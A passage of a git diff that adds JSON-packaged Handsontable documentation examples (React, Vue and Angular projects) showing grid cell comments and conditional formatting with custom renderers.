\"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example6\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, useState } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n const [output, setOutput] = useState('');\n\n const listComments = () => {\n const hot = hotRef.current?.hotInstance;\n\n if (!hot) {\n return;\n }\n\n const found: string[] = [];\n\n // `getCellMetaAtRow()` takes a physical row index (equal to the visual index here, with no sorting or trimming).\n for (let row = 0; row < hot.countRows(); row += 1) {\n hot.getCellMetaAtRow(row).forEach((cellMeta, col) => {\n const comment = cellMeta.comment as { value?: string } | undefined;\n\n if (comment?.value !== undefined) {\n found.push(`Row ${row + 1}, \"${hot.getColHeader(col)}\": ${comment.value}`);\n }\n });\n }\n\n setOutput(found.length > 0 ? found.join('\\n') : 'No comments found.');\n };\n\n return (\n <>\n
    \n
    \n \n
    \n
    \n \n \n {output}\n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/comments/react/example6.tsx","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example6","exampleTitle":"Read all comments programmatically","docPermalink":"/comments","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__vue__example1.vue.json new file mode 100644 index 00000000..8d164c75 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Comments · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/comments/vue/example1.vue","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/comments","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__vue__example2.vue.json new file mode 100644 index 00000000..ede422cd --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Comments · Make a comment read-only · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/comments/vue/example2.vue","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example2","exampleTitle":"Make a comment read-only","docPermalink":"/comments","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__vue__example3.vue.json new file mode 100644 index 00000000..881468eb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Comments · Set a comment box's size · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/comments/vue/example3.vue","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example3","exampleTitle":"Set a comment box's size","docPermalink":"/comments","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__vue__example4.vue.json new file mode 100644 index 00000000..764325a5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__vue__example4.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Comments · Set a delay for displaying comments · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/comments/vue/example4.vue","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example4","exampleTitle":"Set a delay for displaying comments","docPermalink":"/comments","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__vue__example5.vue.json new file mode 100644 index 00000000..673483d6 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__vue__example5.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Comments · Flag invalid cells with a comment · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example5\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/comments/vue/example5.vue","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example5","exampleTitle":"Flag invalid cells with a comment","docPermalink":"/comments","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__vue__example6.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__vue__example6.vue.json new file mode 100644 index 00000000..59558ad4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__vue__example6.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Comments · Read all comments programmatically · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example6\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/comments/vue/example6.vue","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example6","exampleTitle":"Read all comments programmatically","docPermalink":"/comments","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__angular__example1.ts.json new file mode 100644 index 00000000..873e3f10 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Conditional formatting · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewEncapsulation } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\n\nconst data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n];\n\n@Component({\n selector: 'example1-conditional-formatting',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n styles: `example1-conditional-formatting .handsontable td.company-name {\n font-weight: 600;\n}\nexample1-conditional-formatting .handsontable td.loss {\n color: #d81e2c;\n background: var(--ht-cell-error-background-color, rgba(216, 30, 44, 0.14));\n background: color-mix(in srgb, #d81e2c 16%, var(--ht-background-color, #ffffff));\n}\nexample1-conditional-formatting .handsontable td.loss::before {\n content: \"▼ \";\n}\nexample1-conditional-formatting .handsontable td.strong-quarter {\n color: #157a3d;\n font-weight: 600;\n}\nhtml[data-theme=\"dark\"] example1-conditional-formatting .handsontable td.loss {\n color: #ff5c70;\n background: color-mix(in srgb, #ff5c70 22%, var(--ht-background-color, #000000));\n}\nhtml[data-theme=\"dark\"] example1-conditional-formatting .handsontable td.strong-quarter {\n color: #22c55e;\n}\n`,\n encapsulation: ViewEncapsulation.None,\n})\nexport class AppComponent {\n\n readonly data = data;\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Company', 'Q1', 'Q2', 'Q3', 'Q4'],\n height: 'auto',\n columns: [\n { className: 'company-name' },\n { type: 'numeric' },\n { type: 'numeric' },\n { type: 'numeric' },\n { type: 'numeric' },\n ],\n cells(row: number, col: number) {\n const cellProperties: Handsontable.CellMeta = {};\n\n if (col > 0) {\n cellProperties.className = '';\n\n const value = data[row]?.[col];\n\n if (typeof value === 'number' && value < 0) {\n cellProperties.className = 'loss';\n } else if (typeof value === 'number' && value > 10) {\n cellProperties.className = 'strong-quarter';\n }\n }\n\n return cellProperties;\n },\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/conditional-formatting/angular/example1.ts","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/conditional-formatting","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__angular__example2.ts.json new file mode 100644 index 00000000..e5f28abb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Conditional formatting · Format cells with a custom renderer · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewEncapsulation } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { registerRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// display losses in an accounting format, so color is not the only signal\nconst profitRenderer = (\n instance: Handsontable,\n td: HTMLTableCellElement,\n row: number,\n col: number,\n prop: string | number,\n value: Handsontable.CellValue,\n cellProperties: Handsontable.CellProperties\n) => {\n const amount = Number(value);\n\n td.classList.remove('loss-cell');\n\n if (!Number.isFinite(amount)) {\n textRenderer(instance, td, row, col, prop, value, cellProperties);\n\n return;\n }\n\n const formatted = amount < 0\n ? `($${Math.abs(amount).toFixed(1)}M)`\n : `$${amount.toFixed(1)}M`;\n\n textRenderer(instance, td, row, col, prop, formatted, cellProperties);\n\n if (amount < 0) {\n td.classList.add('loss-cell');\n }\n};\n\nregisterRenderer('profitRenderer', profitRenderer);\n\n@Component({\n selector: 'example2-conditional-formatting',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n styles: `example2-conditional-formatting .handsontable td.loss-cell {\n color: #d81e2c;\n font-weight: 600;\n}\nhtml[data-theme=\"dark\"] example2-conditional-formatting .handsontable td.loss-cell {\n color: #ff5c70;\n}\n`,\n encapsulation: ViewEncapsulation.None,\n})\nexport class AppComponent {\n\n readonly data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Company', 'Q1', 'Q2', 'Q3', 'Q4'],\n height: 'auto',\n columns: [\n {},\n { renderer: 'profitRenderer' },\n { renderer: 'profitRenderer' },\n { renderer: 'profitRenderer' },\n { renderer: 'profitRenderer' },\n ],\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/conditional-formatting/angular/example2.ts","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example2","exampleTitle":"Format cells with a custom renderer","docPermalink":"/conditional-formatting","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__angular__example3.ts.json new file mode 100644 index 00000000..ab1d786c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Conditional formatting · Build a color scale · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n 